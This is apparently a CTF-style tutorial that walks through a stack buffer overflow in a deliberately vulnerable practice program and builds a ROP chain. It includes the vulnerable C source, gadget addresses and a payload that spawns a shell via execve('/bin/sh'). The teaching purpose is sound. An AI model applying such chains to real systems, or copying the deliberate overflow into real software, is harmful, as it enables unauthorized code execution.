ROP Chain Without Memory Leak: Return-Oriented Programming
Challenge 4: ROP Chain Without Memory Leak (4_simple.c
)
Source Code:
#include <stdio.h>
int main() {
char name[32] = {0};
printf("Your name is: ");
read(0, name, 256); // Buffer overflow: 256 bytes into 32-byte buffer
return 0;
}
// Convenience gadget functions for ROP practice
void pop_rax_ret() {
asm("pop %rax; ret");
}
void pop_rdi_ret() {
asm("pop %rdi; ret");
}
void pop_rsi_ret() {
asm("pop %rsi; ret");
}
void pop_rdx_ret() {
asm("pop %rdx; ret");
}
void syscall_ret() {
asm("syscall; ret");
}
// Compiled: gcc -Wall -Wextra -Iinclude -g -fno-stack-protector -no-pie -Wl,-z,norelro -o bin/4_simple src/4_simple.c
Challenge Overview
The 4_simple.c
program is a basic buffer overflow challenge that demonstrates ROP (Return-Oriented Programming) exploitation without requiring memory leaks. The program reads user input into a 32-byte buffer but allows up to 256 bytes of input, creating a classic buffer overflow vulnerability. I have for convenience placed some gadgets into the C file, for sake of simplicity and because it's a small file (so less gadgets available).
Vulnerability Analysis
File: src/4_simple.c:5-7
char name[32] = {0};
printf("Your name is: ");
read(0, name, 256); // Buffer overflow: 256 bytes into 32-byte buffer
The vulnerability occurs because read()
accepts 256 bytes into a 32-byte buffer, allowing an attacker to overflow the buffer and overwrite the return address on the stack.
Exploit Strategy
Since NX (No Execute) protection is enabled, we cannot execute shellcode on the stack. Instead, we use ROP gadgets provided in the binary to perform a system call.
ROP Chain Construction
The exploit builds a ROP chain to execute execve("/bin/sh", NULL, NULL)
:
- Buffer Padding: 40 bytes to reach the saved return address
- Set RAX: Load syscall number 59 (execve) into RAX
- Set RDI: Load address of "/bin/sh" string into RDI (first argument)
- Set RSI: Load 0 into RSI (second argument - argv)
- Set RDX: Load 0 into RDX (third argument - envp)
- Execute: Call syscall instruction
Gadget Addresses
The exploit uses these ROP gadgets found in the binary:
0x40120e
:pop rax; ret
- Set syscall number0x4011e7
:pop rdi; ret
- Set first argument0x4011f4
:pop rsi; ret
- Set second argument0x401201
:pop rdx; ret
- Set third argument0x40121b
:syscall; ret
- Execute system call
"/bin/sh" String Location
The binary conveniently includes a "/bin/sh" string that we locate using:
binsh_address = next(exe.search(b'/bin/sh\x00'))
Exploit Implementation
File: solves/4_simple.py:31-40
payload = b'A' * 40 # Fill buffer to reach return address
payload += p64(pop_rax) # Set syscall number
payload += p64(59) # execve syscall number
payload += p64(pop_rdi) # Set first argument
payload += p64(binsh_address)
payload += p64(pop_rsi) # Set second argument
payload += p64(0) # NULL for argv
payload += p64(pop_rdx) # Set third argument
payload += p64(0) # NULL for envp
payload += p64(syscall) # Execute syscall
Key Learning Points
- ROP Fundamentals: This challenge demonstrates basic ROP chain construction without requiring address leaks
- System Call Convention: Shows how to set up registers for the execve system call on x86_64
- Gadget Hunting: The binary includes helpful gadget functions specifically for ROP practice
- Static Analysis: The exploit works with known addresses since ASLR is not a factor
Execution Flow
- Program reads 256 bytes into 32-byte buffer
- Buffer overflow overwrites return address with ROP chain
- ROP chain sets up execve("/bin/sh", NULL, NULL) system call
- System call executes, spawning a shell
-- Try it yourself with my Github Repo - Exploit Development Step-by-Step There you are able to check the whole code and also the full exploit script.